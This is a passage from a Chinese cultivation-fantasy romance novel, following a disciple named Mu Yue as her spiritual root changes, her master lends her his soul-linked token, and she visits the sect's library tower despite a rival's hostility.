相貌平平,身材普通,实力……勉强,越想他神色越阴沉,他下颌紧绷,瘦削苍白的手生生将手中随手摘的花捏碎。
沐月要是知道离星洲说她相貌平平,估计忍不住会和他干一架,她虽不是沉鱼落雁,但也算得上是小家碧玉,乖巧可人吧,哪里是他说的平平!
她走出老远,身后的离星洲也没有追上来,沐月开始琢磨他的意图,他总不能是无聊在这条路上看看风景,尤其是刚才他的目光,但他又没有说话,也没有做出其他举动,沐月摸不准他到底想干什么。
之前他就对自己抱有敌意,昨日比试过后,沐月猜测他恨不得杀了自己。
所以,他到底想干什么?
沐月越想越觉得瘆得慌。
之前她赢离星洲只能算是侥幸,她必须得加紧修炼了,她的能力觉醒后修炼速度提升了很多,对木灵气的感知也高了不知多少,她现在修炼效果与之前简直天囊之别。
她也不可能都在戚雪峰,师尊也不可能时时刻刻庇护她,有离星洲这个随时会爆发的疯子在,她更要加紧修炼,争取能早日堂堂正正将他打败。
沐月往后看了一眼,正好对上离星洲冰冷却赤裸裸毫不掩饰的目光,沐月鸡皮疙瘩掉了一地,加快了脚步跑走。
这人肯定是来恶心她的。
沐月抬头,远处白衣身影踏着正午的灿灿阳光而来,林荫间的细碎光芒落在他的脸颊和雪白的衣摆上,差点晃花了她的眼。
“师尊!”沐月跑向辞镜,满脸的惊喜。
辞镜上下仔细看了木月一眼,确保她身上并未出现伤痕或者其他痕迹,“可有事?”
沐月摇头,她也纳闷呢,还以为离星洲来找她报仇的。
其实,比起他莫名其妙在一旁盯着她,沐月宁愿和他打一架,简单干脆。
辞镜抬头看向远处靠在树干上还没走的离星洲,脸上面对沐月的温柔和担心荡然无存,眼神中含了警告之意,不似之前的无视,而是实实在在的冷然。
辞镜很快便收回视线,不屑于在离星洲身上再浪费丝毫的目光。
眼睁睁看着一高一低的身影消失在眼前,想起方才辞镜宛若看狗的目光,离星洲掐破了手心。
沐月和师尊一起回家,路上辞镜问:“此人可有在你上课期间做出其他举动?”
“没有,今日他没来上课。”
辞镜始终无法忘记离星洲在比试台上看沐月的眼神,“阿月,你要时刻注意,若是和他碰面,及时通知师尊。”
“我知道的。”
“他与你之前是有过节对吗?”辞镜犹豫了片刻后还是问。
他打探沐月离开戚雪峰一事她并不知情,自然不该知晓她与那个弟子之间的事情,但他也不会刻意去隐瞒。
“师尊你怎么知道的?”
“查一些事情的时候发现的。”
沐月也没有追问查什么事情才会查到她身边的人,反正师尊不会害她,她对此非常放心。
沐月不知道该不该和师尊提起此事,她看了师尊几眼,还是开了口:“他之前很想进入戚雪峰,成为师尊您的徒弟,不过大家都想进戚雪峰,毕竟我师尊这么厉害,其他弟子当不成就算了,但离星洲心眼儿小,他可能是嫉妒我成为了您的的徒弟吧,才处处看我不顺眼。”
“不过师尊您放心,他不敢对我做什么的,之前他也没有做出别的事情来,我猜测可能是昨日他输了不痛快,才来膈应我,毕竟就像我刚才说的,他心眼儿确实很小。”
沐月语气轻快,几下将和离星洲的过节说完,但辞镜心情却有些糟糕。
这么多年的事情,他居然现在才发现。
停下脚步的辞镜望着沐月。
“对不起。”
沐月直接手足无措,“没什么的师尊,他真没对我做过什么,还能给生活增添点乐子,您不用道歉的。”
她犹豫了一下,伸手牵过师尊的手。
“我真的没事的,而且炼化玲珑木心后我发现自己修炼速度提升了很多,很快就能将离星洲打得落花流水!”
对此她非常有自信,若是在森林中,她更是将他打得满地找牙,趴在地上叫她姑奶奶。
一想到那时的场面,沐月就开心,乐得不行。
“而且有师尊在,我一点也不怕了,所以您不用担心,也不用道歉的。”沐月一点也不想看到师尊露出这样的表情。
女孩握着他的手小小的,但是很温暖,浮躁的心宁静了下来,辞镜点头,“师尊知道了。”
“那我们回家吧!”
沐月说完放开师尊的手。
手上还残留着师尊手掌的温度。
说起来,她也只有在小时候才喜欢日日牵着师尊,现在竟有些怀念呢。
但她已经不是小孩子了。
辞镜手心空了,带着凉意的山风穿过手心,他垂眸看了眼,和走在前方的沐月并肩而行。
两人的背影逐渐消失在小径尽头。
回去后辞镜照常给沐月诊脉,沐月无聊地四处看,不过最后都会将目光停留下师尊的脸上,即便生活在一起,日日都能看见,但沐月还是看不够。
师尊的美貌是人界公认的,他的一副画像甚至能卖出上万灵石的高价,修士们争相购买,沐月感慨自己真幸运,能够免费日日看,还能摸一摸呢。
当然现在她是有贼心没贼胆,想想她小时候,那叫一个大胆,甚至能无所畏惧地抱着枕头钻进师尊的被窝。
虽然一起睡是不可能的,但她凭借自己的厚脸皮磨得师尊没有办法,在他卧房安营扎寨,霸占了师尊的床大半年的时间。
她觉得自己可能有点毛病,竟然时常怀念师尊的被窝,香香的而且暖呼呼的,非常有安全感。
想岔了,她回神,心里琢磨着这次诊脉怎么还没有结束,她看了眼神色越发凝重的师尊,预感不妙。
忐忑地问:“师尊,有问题吗?”
“你的灵根与以往相比有了些变化。”
沐月丹田内属于木灵根的灵台不见了,而是成了一朵缓缓旋转的莲花,辞镜在察觉不对劲时,便注入自己的灵力内视了一遍沐月的丹田,于是发现了如此奇怪的一幕。
她瞬间紧张。
完犊子,灵根怎么也变了,她自然知道是怎么回事,她是莲花妖啊,但她没想到自从能力觉醒后,自己的灵根也随之跟着变化,到最后她不会化形吧,要是变成了本体状态,师尊不吓死才怪。
“啊?是因为我吸收了玲珑木心吗?”沐月装傻。
“玲珑木心并无洗精伐髓之效,我也从未听说过有能
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自然更改灵根之物,不过,你的丹田并未排斥,甚至和你融合得很好,或许对你有些益处。”
“但也不能全然不顾,师尊会多多留意相关的资料典籍,阿月你不用担心。”
“谢谢师尊,我会留意的。”
此时还早,吃过饭后沐月回房修炼,她之前一直没发现自己的丹田已经变化,师尊提起来后她有些紧张。
在窗边蒲团盘腿而坐,沐月闭上双眼,气沉丹田,开始内视自己的灵台。
充满绿色灵气的丹田里确实如师尊所说旋转着一朵莲花,取代了她曾经容纳灵气的灵台,现在所有灵气都围绕这朵莲花在运行,沐月试图调动自己灵力,发现这些灵气都是从这朵莲花释放至经脉的。
她也不知是该高兴还是不高兴,希望后续不要再有更多的变化了,不然肯定会被抓起来的。
不想这些了,还是修炼吧。
今日离星洲举止怪异,他肯定不会善罢甘休,沐月也不能时时刻刻靠师尊庇护,她的尽快修炼争取早日赶上离星洲,至少在孤身一人面对他时不至于束手无策。
沐月修炼时,发现往日需要吸纳许久的木灵气竟然在乖乖地主动地往她靠拢,若是有人看见,会发现她身边透明的木灵气朝她蜂拥而至,她根本不用花时间从其他驳杂的灵气中将木灵气单独剥离。
顺着她的经脉,再自然地流向丹田处的莲花,围绕莲花形成了一个小小的旋涡。
往常修炼一定时间,到了一定程度,沐月的修炼速度会受到阻碍,修炼的效果会大打折扣,在丹田里的灵气以极慢的速度炼化后才能再次吸收灵气。
不只是她,所有修士几乎都是如此,但不同天赋的人丹田对灵气的容纳是不同的,这也是为什么一些弟子修炼速度要快得多。
沐月一直修炼到晚上,都没有丝毫滞涩之感,若是继续修炼,她的速度依旧不会减缓,但她还没辟谷,需要吃饭。
修士结丹后就无需进食,但是她目前还没有辟谷的打算。
沐月走出房门时便闻到浓郁的菜香,世人眼中如此不食人间烟火的师尊却在给她做饭,沐月歉疚的同时心里又暖暖的,她在思考,不如还是辟谷吧,师尊也不必为她操心这些了。
想吃的话,她随时下山就好了,现在不比小时候,她能御剑飞行,也花不了多少时间。
沐月去小厨房端菜,虽然师尊一次性就能收入芥子囊一起带过来。
坐下吃饭时,她主动道:“师尊,我想辟谷,该怎么做呀?”
其实上课时教过这些,但只是一笔带过,沐月之前也没怎么注意,也不知道具体的操作方式。
辞镜似乎没有想过此事,在沐月提起的时候有些茫然,片刻才问:“为何想要辟谷呢?”
他一直都知晓沐月喜欢他做的饭菜,最开始时她的课要多一些,上午和下午都有,虽有弟子膳堂,但她还是会风雨无阻回戚雪峰吃饭,和他一起吃完再下山继续上课。
若是辟谷了,那就不需要回来了吧。
沐月顿了一下,“辟谷后会方便很多,我若是出门历练也无需操心填饱肚子,而且都说辟谷后灵气会更加纯净。”
其实,辞镜想说更为纯净只是杜撰的说法。
他见沐月眼中有期待,又问了一遍,“真的想辟谷吗?”
沐月顿了下,她其实不太想。
“不想就不辟谷了,若是担心历练时不方便,可以吃辟谷丹,好吗?”
沐月有些犹豫,她的本能和理智在挣扎。
“师尊很喜欢做饭,也很高兴阿月你喜欢。”
“真的么?师尊不会觉得烦吗?”
“不会,也算是一个小小的爱好吧。”辞镜思考后认真地说。
他很喜欢做好后等沐月回家吃饭的感觉,也很喜欢看她吃得开心的模样。
这是他之前孤身一人时从未体会过的。
辞镜摸了摸沐月的头,“随时都可以辟谷,不急的。”
“师尊您说的有道理!”沐月动摇的心被这个言论彻底说服了。
吃完沐月将碗筷收到厨房,口中默念清洁术口诀,碗筷便干干净净了。
见师尊在看书,沐月也不好打扰,开口道:“师尊,那我回房了。”
辞镜看着她进屋,背影跨过门槛,那扇门被轻轻合上,屋里也又恢复了安静。
“好。”
沐月小时候是不喜欢待在房里的。
辞镜若是修炼,小姑娘就坐在他身旁自己安静地玩小玩具,他若是看书,她就趴在桌上,用笔在画纸上胡乱画些小人,觉得无趣了就跑去门外捉蝴蝶。
辞镜抬头就能看见她跑来跑去的身影。
向来寂静的戚雪峰因为这个小小的身影突然有了生气,生出了色彩。
但她越来越大后,就越发喜欢待在房里,有时,整个休沐日只能在饭点看到她,吃完饭就又进屋了。
可能沐月自己并未意识到,但这些变化辞镜都看得分明。
但是人都会长大,他该高兴的。
要是沐月知道师尊的想法,肯定得大喊冤枉。
现在她都这么大了,也不能日日在他身边玩儿小玩具吧,别人知晓还不笑掉大牙。
她看的那些书也见不得人,只能待在房里偷偷看。
尤其是她为了那个所谓的任务,阅览了大量师徒恋话本,文字之劲爆……要是被师尊发现她偷偷在房里看那些乱七八糟的东西,说不定会把她腿打断!
8. 第 8 章
沐月进门后,继续修炼。
从此以后,她要成为一个无情的修炼狂魔,将离星洲狠狠踩在脚下!
沐月现在一想到离星洲就咬牙切齿,恨不得给他两巴掌。
修炼了大约一个时辰,沐月眼睛都快睁不开,不知为何,这段时日到了晚上她困得厉害,打了个哈欠,匆匆洗完澡就钻进被窝里,才挨着枕头就睡着了。
沐月做了一个梦,她站在漫无边际的云层之中,无论往里走就看到不到尽头,也无法找到离开此地的入口,一颗莹绿色的珠子出现在她面前,但是很快就隐没在云层里消失不见了,过不了多久便再次出现。
脑子里不断出现那个珠子的模样,她想去抓,但是她什么也抓不到,如此持续了一个晚上。
她醒来时,脑子还恍惚着,那颗透亮的珠子的模样愈发清晰,丹田突然发热,内视一圈,那朵金色的莲花发出微微金光。
虽然她一般不怎么相信梦里的东西,但这次她总觉得那颗珠子就是真实存在的,那个梦是在给她指引吗?
沐月疲惫地起床,她揉了揉自己快睁不开的眼睛,起床洗漱。
“没睡好吗?”辞镜看到连连打着哈欠从房中的沐月,关切地问。
“嗯,一整晚都在做梦。”沐月抓起剥了壳的蛋塞进嘴里,能够尽情吃东西的感觉真好。
“可要补觉?不去上课也没关系。”
在师尊的观念里,身体向来比课业重要,比起其他师兄师妹们严苛的师尊,真的很不一样。
“今日课不多,没关系的,而且我现在去睡估计也睡不着了。”
辞镜没有再说。
“还要吗?”他打算再剥一个。
“不要了。”沐月有点噎,伸手要端杯子喝水,师尊已经将杯子递到她手里。
是她喜欢的花茶,甜甜的。
“师尊,今早怎么这么丰盛?”沐月看了眼摆得满满的桌子,好奇地问。
她都在怀疑今日是不是什么大日子,她给忘了。
“顺手罢了。”
辞镜神色有些不自然。
沐月感慨,她幸好没有一头热选择辟谷,不然就吃不到这么好吃的早餐了。
今日的有些多,她肯定吃不完,“师尊,这些我可以带去给我朋友尝尝吗?”
“嗯,你带去吧。”
“她们吃到后肯定惊为天人,想不到我师尊修为这么厉害,做饭也这么厉害!”沐月又开始拍马屁。
辞镜看着眼睛亮晶晶的女孩,弯唇一笑。
沐月将菜收进芥子囊后坐下,她还是没忘记做的那个梦。
“师尊,我昨晚梦到一颗碧绿色珠子,很漂亮,还会发光自己动,像生了灵智,您知道这是什么吗?”
辞镜思索片刻,试图从记忆里寻找关于沐月描述之物,但是一时没有想到符合的。
“我只知晓碧水珠,此珠相传是天界遗落,坠入东海,不知你说的与此是否有关联。”
天界!
沐月更加确信她梦中出现那颗珠子并不是虚无的,或许这个碧水珠和她梦中出现的莹绿色珠子出自同一个地方。
“师尊您是从哪里看到的呢?”
“在万藏楼的藏书中看见的,那里的书并不外借,若你想要了解更多可以前往万藏楼。”
沐月知晓此地,但是她从未去过,一来是不喜欢读正经书,二来是去不了。
万藏楼作为万剑宗秘籍藏书的核心之地,只有部分人才能进入,沐月虽是内门弟子,却也没有进入的资格。
辞镜取出自己的令牌,是一块白玉雕刻而成的玉佩,“这是师尊的令牌,你拿着能够出入宗门任何地方。”
沐月一听,瞬间来精神了,任何地方都可以!
“禁地不行。”辞镜看了她一眼。
不是不能进,是不想让沐月进,禁地不比其他地方,很危险。
沐月蠢蠢欲动的心放下了。
“万一我掉了怎么办?”沐月接过,摸了摸这块带着师尊体温,触感莹润的令牌。
“掉了也没关系,师尊能找到。”
竟然还能定位吗?
沐月爱不释手,“师尊我会好好保存的!”
她仔细观察这枚看着就名贵的令牌,料子应当也不是凡品,摸着很舒服。
辞镜看她摸来摸去,犹豫片刻,忍不住道:“此物与我通感,所以……”
通感?
字面意思……
沐月动作一僵
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,连忙停下在令牌上乱摸的手。
她的脸一下子红了,有些无措,此刻她连拿着都烫手,对上师尊的视线,心虚地赶紧收进了芥子囊。
“所以若是你放在身上,平日说话,师尊是可以听见的,但放心,放在芥子囊里由于空间隔绝,师尊并不会听见。”
沐月更是不敢将这个拿出来了,等她要用的时候,戴个手套拿出来,等拿完就立即放进芥子囊。
“师尊,要是我摔碎了,那你岂不是会很痛?”
这倒是个奇特的角度。
见女孩眼里满是担心,他心更加柔软。
“一般不会碎。”
当然,辞镜也不知道此物究竟会在什么情况下碎裂,曾经这枚令牌为他抵挡过化神期大圆满修士的全力一击,但依旧完好无损。
本命令牌与主人通感,若是碎裂,主人也会遭到重创。
“那掉地上您会疼吗?”
辞镜摇头,“不会的。”
“你可以试试看。”
沐月有点犹豫要不要拿出来,毕竟拿出来就像在摸,摸师尊……但是她又十分好奇。
“真的不疼吗?”
“不疼。”辞镜笑道。
“把令牌给师尊吧。”
沐月一听赶紧将令牌拿出来送到师尊手上,生怕在自己手上多停留一秒钟。
辞镜放开手,令牌从他手里落地,但在即将触碰到地面时坠地速度突然放缓,轻轻地落在地上,令牌完好如初。
心念一动,地上的令牌便乖乖飘回他手里。
他递给沐月,“所以不用担心,拿着吧,不用急着给师尊。”
将这块烫手山芋收下,沐月为了避免奇怪,尽量大大方方地拿,但总是想起师尊所说的通感……
不知道她摸了,师尊是哪里感受到。
全身……手臂,还是脸呢。
越想她脸越烫。
沐月很好奇,但是又不好意思问。
辞镜看出了她的欲言又止,“可是还有想问的?”
沐月红着脸摇摇头,“没有了。”
她才不敢问,要是问了,她拿着这枚令牌显得多不怀好意啊。
希望,以后有机会能够知晓吧~
9. 第 9 章
今日时间还早,沐月慢慢悠悠下山,她很想将芥子囊里师尊的令牌拿出来好好观摩观摩,但是碍于通感,她只能停止自己的蠢蠢欲动的想法。
来到教习修炼法则的灵慧堂,进门就看见坐着的离星洲,他显然也看见了沐月,冷冰冰地盯着她。
沐月将他视若空气,走到自己的位置坐下。
她今日来得还算早,灵犀还没有来,谁知今日这么晦气进门就看到离星洲这个倒胃口的家伙。
灵慧堂已经来了一部分弟子,看见沐月和离星洲都来了,忍不住窃窃私语,但知晓离星洲的性子,刻意压低了声音。
他们都在猜测,那日败给沐月后,离星洲是个什么态度,会不会在接下来的日子里报复沐月。
若真的要报复回去,沐月这时候还有赢回去的机会吗。
江凌峰说离星洲月试前受了伤,也不知是真是假。
弟子们心里犯嘀咕,但谁也不会当着离星洲的面说,毕竟要是把他惹到了就完了,他们可不想被他针对。
所幸还算相安无事,离星洲没有作妖。
沐月还在思索师尊说的万藏楼,也没功夫注意离星洲,那里藏书太多,也不知道该从什么方面找起,方才因为师尊令牌一事她都忘了问了。
离上课还有点时间,沐月低头给师尊传讯:【师尊,您还记得您说的碧水珠是在哪本典籍里吗?】
下一秒就有了回应。
【若没记错,应当是叫万界异珍录,在顶层,靠窗角落的位置,若没找到,可以问问值守长老。】
【好,多谢师尊。】
沐月正准备收起玉牌,师尊又来了传讯。
【有件事师尊昨日忘了与你说,进入万藏楼需随身携带令牌,二楼以上各层设有阵法,若未检测到令牌气息,或许会无法进入。】
【我知道了。】
沐月原本还打算用令牌上了万藏楼就收起来,现在倒好,不成了。
若是寻常之物也就罢了,可师尊的令牌通感……她总觉得浑身不自在。
“想什么这么入神?”来了的灵犀好奇道。
“没什么,就是等会儿打算去万藏楼。”
“你去那里干什么?不对,咱们也去不了啊。”灵犀狐疑地说。
沐月弯唇一笑,“这个你就不用操心啦,反正我有办法。”
“行吧。”灵犀也不在意,反正万藏楼让她去她也不去,死气沉沉,她路过万藏楼都要走快点。
身后的储殷听见两人的对话,“你要去万藏楼?”
“嗯,我去找找书来看。”
“储殷你不是能去吗,正好你可以和沐月一起去。”
别呀,沐月很想说,但储殷之前就有去万藏楼的习惯,她自然也不能说让人家不去。
但是问题也不大,她们去的楼层应该不太一样。
“万藏楼?”有周围坐得近的弟子惊讶地问,“咱们去不了啊,储殷应该也不能带你进吧。”
储殷虽然能进,但一个令牌只能进一人,两人应该是不行的吧,而且这东西也不能借给别人使用,门口长老检查到会拦下来。
“而且那地方有什么好去的,咱们现在也用不上那些藏书啊。”
他们现在学完手上这些书都够好了,万藏楼的书听说晦涩难懂,便是能进去的人,也不常去。
“开拓下眼界嘛,我有办法进去,放心。”沐月自信道。
这位弟子并无其他意思,见她胸有成竹,也是好奇,“我能问问怎么进吗?”
“秘密。”
见她不愿多说,弟子也没再继续问,和别的弟子聊去了。
沐月突然想起给灵犀和储殷带了早餐。
她取出大大小小的盘子,喊了前头两人。
“我早饭吃不完,剩下的就带来了,你们要不要尝尝?”
灵犀看见摆了一小桌的早点,震惊地看着她,眼里的羡慕都快溢出来,“我早饭吃个包子就完了,你吃这么丰盛?”
“嘿嘿,今早师尊做多了,以前也没有这么多的。”
沐月和辞镜都不是铺张浪费之人,所以都是做得刚好,即便剩下也不会剩太多,沐月还能塞下去。
灵犀之前是一直都知晓是仙尊给沐月做饭的,但只以为是有做饭的小法术,仙尊会什么都不奇怪,念个口诀饭就做好了,但是估计味道一般。
看看这菜色,这摆盘,也不像是施法就能做出来的啊。
“……”
“阿月,仙尊亲自下厨做的?”
“就是需要自己切菜,颠锅这种……”
沐月点头,“切菜不是,小法术就好了,不过其他都是亲自做的。”
灵犀:“……”
怀着一种敬畏、紧张又期待的心情,灵犀夹了一个堪称完美的蒸饺放进嘴里。
沐月盯着她的反应。
“怎么样?”
“你之前都是过的什么好日子!”灵犀流泪,请问有这样一个十项全能的师尊还有什么烦恼吗?
灵犀又往嘴里塞了几个饺子,还有其他的小笼包,虾饺,蛋羹,酥卷……
越吃越幸福。
灵犀风卷残云般扫荡,见储殷没动,一边吃一边戳他,“真的很好吃,仙尊做的诶,错过这村可就没这店了!”
储殷没什么兴致,“你吃吧。”
他向来不爱这些,也早已辟谷,灵犀便也没强求。
不吃好啊,不吃她多吃!
……
下课后沐月往万藏楼的方向走,好在储殷没有和她一起,万藏楼坐立在堰心湖旁,颇为巍峨,是宗门里最高的建筑,可见藏书之多,若是此处失火,万剑宗将会遭受重创,不过里面的藏书和建筑都是施加了特殊的法阵,能够防火,千百年来还从未出现过失火的情况。
站在万藏楼前,沐月实实在在感受到了自己的渺小,也直观感受到了万剑宗深厚的底蕴。
万藏楼下来往的弟子并不少,虽然能够进入此处的人不到宗门的十分之一,但此处是通往练剑台的必经之路。
不过路过的弟子都很自觉保持了安静,也或许是天生对这里带了敬畏之意,也不好喧哗。
沐月走进古朴庄重的大门时,注意到一个弟子,她抬头望着这栋大楼,眼中有憧憬也有满满的希望。
察觉有人再看她,弟子转头看向沐月,看清是谁后满脸惊喜,“你是沐月师姐吧!”
“我是,请问你是?”
“啊我是才进宗的外门弟子,刚才路过,看这栋楼很好看,就忍不住多看了几眼。”
“上次你好厉害!”
沐月嘴角都快压不住了,“谢谢。”
“你是来万藏楼吗?那我就不打扰你了,我自己就是随便看看。”
“那我先进去啦。”沐月开心离去。
女弟子看了会儿正打算离开,在看见不远处的动静后又停了下来。
万藏楼入口处,站在沐月身边的人叫罗嵇,师承青云峰籍俦,金丹大圆满,但此人在此境界停滞了近五十年再无进步。
他见沐月走进万藏楼,上上下下从头到尾扫视了沐月一遍,斥责道:“你不知道你不能进入此地吗?”
此人的眼神和语气,充满高高在上,居高临下的恶意。
沐月停下脚步,这才注意到身边还有个人,看着这个小鼻子小眼的男人,她满头雾水,“不好意思,请问你是?”
他刚才那副样子,搞得她还以为自己和他有什么过节。
罗嵇被沐月的话哽住了。
“沐月师妹,他叫罗嵇,是青云峰籍俦长老的大弟子。”旁边有弟子提醒。
沐月回忆了一下,她真不认识啊。
“多谢这位师兄。”沐月对旁边好心解释的师兄道谢,随后又看向这个名为罗记的人,“我自然是知晓自己不能进入此地的,罗师兄请问您有何指教?”
“好心提醒还当驴肝肺!”罗嵇没想到会如此,刚才他也就是随口一说,现在是骑虎难下。
“师兄您这可就冤枉我了,你问我不知道自己不能进入此地吗,我肯定不能无视你,我除了回答知道还能回答什么呢?”
“你是想听我惊慌地说,不好意思我不知道,然后在所有人的目光下狼狈离开万藏楼,还是其实想听我说,我知道,然后您说既然知道还来这里干什么,我不知所措的画面呢?”
“我即便不能进入万藏楼阅览藏书,但身为万剑宗弟子,应当有资格在一楼厅中看看咱们宗门数千年的文化。”沐月语气一下变得锋利。
罗嵇憋不出一个字,只觉沐月蛮横无理。
周围的人越来越多,也有许多来一楼大厅参观的弟子,在听见沐月的话后,都齐刷刷看向罗嵇。
现在很多可以自由出入万藏楼的师兄师姐,在不能进入万藏楼前,也像他们那样憧憬希望地想要进入大楼,他们并不觉得活该被人踩到脚下。
沐月看向厅中长老,“长老您认为呢。”
一旁的值守长老清了清嗓子,“咱们宗门向来倡导弟子们奋发图强,为自己想要的一切而努力,如此美好的愿景自然是可以的,咱们万藏楼一楼本就可以参观,便是别宗弟子也是可以来的,大家尽可放心。”
“有长老您这句话我就放心了,我还以为连踏都不能踏入。”沐月瞅了罗嵇一眼。
“大家放心,都散开吧。”长老摆摆手。
但弟子们依旧没动,还盯着人群中的沐月和罗嵇。
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罗嵇神色发沉,眼看他自己说什么都没用,转身就要离开此地,却见沐月拿出了一块令牌。
长老一看,赶紧上前几步,但是没敢伸手触碰。
这不是仙尊的本命令牌吗,他们这个境界,本命令牌一般不会外借,便是道侣家人也是不会给出去的。
“长老,师尊告知我,凭此能够自由出入万藏楼。”
“确实如此。”
长老开始并未想起此人就是仙尊的徒弟,毕竟她已经长大了,和小时候还是有些不一样的,但在她拿出那块令牌后,长老还有什么不明白的。
“方便问一下,你要去几层吗?”
“最高层。”沐月不知长老问这个的用意。
长老犹豫要不要告知掌门一声,毕竟还从来没有沐月这种拿着师尊令牌进楼的先例,若是低层他就不必告知了,但是高层,他就不得不谨慎,毕竟顶层便是他也没有资格进入。
“还请稍等片刻。”
沐月不担心,静静等待。
长老立即给掌门传讯,正要顺便也给辞镜说一声,谁知掌门很快就有了回应,告知他已经知晓此事,让长老不用管。
他看着沐月欲言又止。
“你进去吧。”
沐月想到了什么,唇不自觉弯了弯,“多谢长老。”
长老看着沐月消失在楼梯拐角,心里的震惊还没有缓下去,看来仙尊当真是宠爱她的小徒弟,连本命令牌也敢外借。
楼下的弟子们都炸开了锅,“她拿的什么东西?”
“看起来像令牌。”虽然和他们的长得不太一样。
“她刚才提到了师尊,她什么来头。”有才进门的小弟子不知道沐月色身份,不由好奇问。
“来头可大了,她就是玉翎仙尊的关门弟子。”
“就是她吗?”
“嗯就是她,前几日她还打败了离星洲来着。”
“所以她能进入万藏楼是仙尊授意?”
“应该是。”
有人注意到落荒而逃的罗嵇,不由为他尴尬,“人家知道自己能不能进,他还要专门说那么一句,是想要找优越感吗?幸好他说的人不是我,要是我就只能哭着离开了。”
大家想象了一下自己是沐月,要是孤立无援被人这么奚落,确实很难堪。
“罗嵇是籍俦长老的弟子啊,难怪呢。”
“何出此言?”
“籍俦比仙尊进入万剑宗早,他的实力不错,在宗门受人追捧惯了,但是仙尊来了后,自然就……”
大家都懂了。
“自己实力不敌仙尊,怎么有脸的。”有弟子愤愤道。
“不会是因为这个,他弟子才记恨沐月,给她找不痛快的吧。”
“谁知道呢,但也可能他就是这样的人吧,不管是谁,他都要去踩人家一脚。”
这话更是杀伤力十足,罗嵇要是对所有人都是如此,弟子们不由感同身受,对他就越发不喜了。
尤其是那些才进门不久对宗门生活充满期待的弟子,对这个高高在上喜欢讽刺弱小弟子的师兄更是没有半点好感。
……
沐月手里还握着师尊的令牌,她看了眼就要收进储物袋,但想起今早他的嘱托,想着要不要挂在身上,她比划了比划,好像不太安全。
但是手里拿着她又实在不好意思,思来想去,打算将其绕在手腕上,既能时时看着,又不会怎么触碰到令牌。
她看着令牌,眼睛弯了起来,她说话师尊能听见……她要不要喊一喊他呢?
也不知道现在师尊在做什么。
沐月有些犹豫,纠结几次后,她靠近令牌,轻轻喊了两声:“师尊?”
戚雪峰,有些倦怠的男人卧榻闭目小憩,耳边突然传来压低的轻轻柔柔但又格外甜腻的声音,面颊拂来微微热气和甜香。
一时间,他以为是幻听。
“师尊您在吗?”
他缓缓睁开双眸,鸦羽似的睫毛微微动了一下,那声音越发清晰了。
待那丝睡意离他远去,他才意识到,是沐月通过令牌在唤他。
正要传音回应,但很快女孩的声音就消失不见了。
耳边又恢复了安静。
外面阳光正好,风穿竹叶响起簌簌之声,他皱眉摁了摁眉心。
又梦见那人了。
他下榻走至门外,雪色的衣摆从榻上滑落,坠至他赤裸苍白的脚踝,清风渐渐吹散方才因梦中那人生出的那丝躁意。
取出通讯玉牌,与沐月的对话还停留在早上,他弯了弯唇,眉眼极为柔和。
还未来得及传讯,耳边随之响起一个少年的嗓音。
此人似乎,与阿月离得极近。
10. 第 10 章
沐月见师尊那边没有回应,以为他有事在忙,也没有在意,继续往顶层走。
走了两步才想起来,师尊能听见她的声音,但她又听不见,她刚才肯定是傻了。
沐月踏向一阶阶的楼梯,听见有人在喊她,是储殷。
她还以为他不来呢。
储殷几步便走到沐月身边,他的视线在木月手腕处的令牌一闪而过。
“抱歉我来晚了。”
沐月想了想,明白他是指刚才楼下的事情。
他到时沐月已经解决,问了周围才知晓有人故意让她难堪。
沐月耸肩,“没事啦。”
她想问他为什么后她一步过来,但是想起之前在酒楼两人说开一事,免不得去想是不是储殷故意选择和她错开。
为了让她不会不自在。
一时间,沐月心里不是滋味。
那日只是意外罢了,储殷只是刚好在她身边,他既没说什么,也没有其他出格举动,实在没必要对此太过在意。
“你去几楼啊?”如此一想,她松快了不少。
“十二楼。”储殷目前只能到这一层,整座万藏楼一共十九层。
储殷在刚才听见沐月和长老的对话,她去顶层,便也没有多问。
路还长,虽然十九楼极高,但对于修士而言并不是什么大问题,不过此地无法御剑,就是要多费些时间。
在十二楼准备分开时,储殷叫住沐月。
沐月转头看向他,她又开始忐忑了。
储殷怎看不出她的反应,他上前几步,趁沐月没来得及反应时双手迅速揉了揉她的头发,将她的头发揉得乱七八糟才罢休。
沐月顶着鸡窝头呆呆地站在原地。
“还在想那日的事呢,真的只是意外,你这样我严重怀疑你是不是对我有什么企图。”
沐月此时已经听不见他说什么了,她拿出镜子一照,自己今早精心梳的头发被他弄成鸡窝头,哪还记得那日的事情,恨不得和储殷打一架。
一把抓住他的衣襟,在他头上狠狠薅了几把,扯松了他的发带才泄气。
储殷见她这幅跳脚的样子,这段时日积压在心里的郁气终于少了许多。
他不该走那一步险棋,方法何其多,没必要用那样的方式。
一想起压在心里的那件事,好不容易散了几分的烦躁又生了出来。
沐月没发现储殷的异常,她照着小镜子皱眉整理自己的头发,继续往十九楼走。
终于将头发理顺,腰间震动了一下,她拿出传讯玉牌一看,脸上的不开心瞬间消失得一干二净。
辞镜:【方才听见阿月你叫我,可是有什么事吗?】
沐月:【没什么事啦,只是想喊一喊师尊你。】
她拍了拍脑袋,她虽然不能通过师尊的令牌听见师尊说话,但是师尊听得见呀,她多此一举传什么讯。
沐月抬起手腕凑近令牌,好奇地问:“师尊你在做什么呢?”
少女清甜的声音在耳边回荡。
辞镜正要回答,耳边又传来了声音,“让我猜猜。”
“师尊你现在大概是在门口看外面的竹林。”
辞镜抬眼,远处阳光下的竹叶跃起层层金光,却如沐月所说。
“我猜得对不对?”
沐月想象了一下,师尊的生活都很规律,早上修炼,午时要么看书饮茶要么弹琴,偶尔也会写写字,作些画,下午嘛继续修炼,然后给她做饭,看书等她回家。
辞镜:【是怎么猜出来的?】
“就是直觉,我也说不清楚。”沐月含含糊糊地说着。
“对了师尊,我要到十九楼了,就不和你说啦。”沐月看了看令牌,踏入十九层。
辞镜拿着玉牌,欲言又止。
十九层极大,层高大约有数十人高,屋里并不暗,阳光自格窗射入,在檀木质地的地板上映出了一小片一小片的光斑,屋里的书架不多,大约只有十五个,分布在中间靠右区域,窗边设有书桌,零星分散着几个座位,隔得很开。
“靠窗角落……”她寻找着符合师尊所说的地方。
最右侧,最左和最北都有角落,但只有最右处离窗最近,此处相较于其他位置也最安静和隐蔽,沐月已经能够想象到师尊独坐在窗边,阳光洒落在身边,他斜斜撑着头翻看藏书的画面。
她在那里站了一会儿,走到那一面的书架处,开始寻找师尊所说的万界异珍录,听名字应该会很厚。
重点关注厚重的藏书,在要找到最后时,终于看见了对应名字的书,确实很厚,她差点没拿稳,幸好及时稳住了。
抱着这本异珍录走到格窗旁的长几,沐月盘腿在软垫上坐下。
